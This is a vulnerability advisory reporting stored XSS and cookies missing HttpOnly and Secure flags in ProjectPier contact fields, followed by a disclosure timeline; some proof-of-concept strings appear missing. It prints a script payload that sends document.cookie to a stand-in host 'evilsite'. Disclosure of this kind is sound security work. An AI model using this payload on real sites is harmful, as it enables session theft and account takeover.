Issue     : XSS (stored), Insecure Cookie storage
CVSS Base : (AV:N/AC:M/Au:S/C:C/I:C/A:N)
CVSS Score: 7.9
Researcher: Carl Benedict

Product Description
ProjectPier is a Free, Open-Source, PHP web application for managing
tasks, projects and teams through an intuitive web interface.

The ProjectPier web application is affected by stored XSS and insecure
cookie storage. The combination of these two vulnerabilities can lead
to full compromise of application credentials by stealing session

The stored XSS can be found in the Contact Name, Contact Company Name,
Contact Description fields.

Proof of Concept

Enter any of the following strings into the Contact Name, Contact
Company Name, and Company Description fields will generate a
JavaScript alert dialog when viewing Contacts:



Cookie insecurity:

The session cookies are not protected by the HttpOnly or Secure flags,
allowing them to be accessed via JavaScript and sent over HTTP.

Basic JavaScript alert, returning cookie values:


JavaScript that sends all cookie values to 'http://evilsite&apos; for
logging and reuse on the attacker side:

<script>var url1 = "<img src=http://evilsite/"; +
encodeURIComponent(document.cookie) + ">"; document.writeln(url1);

11/07/2012 : Initial contact
11/07/2012 : Vendor response. Fix planned
11/12/2012 : Update requested
05/21/2013 : No updates. Advisory released
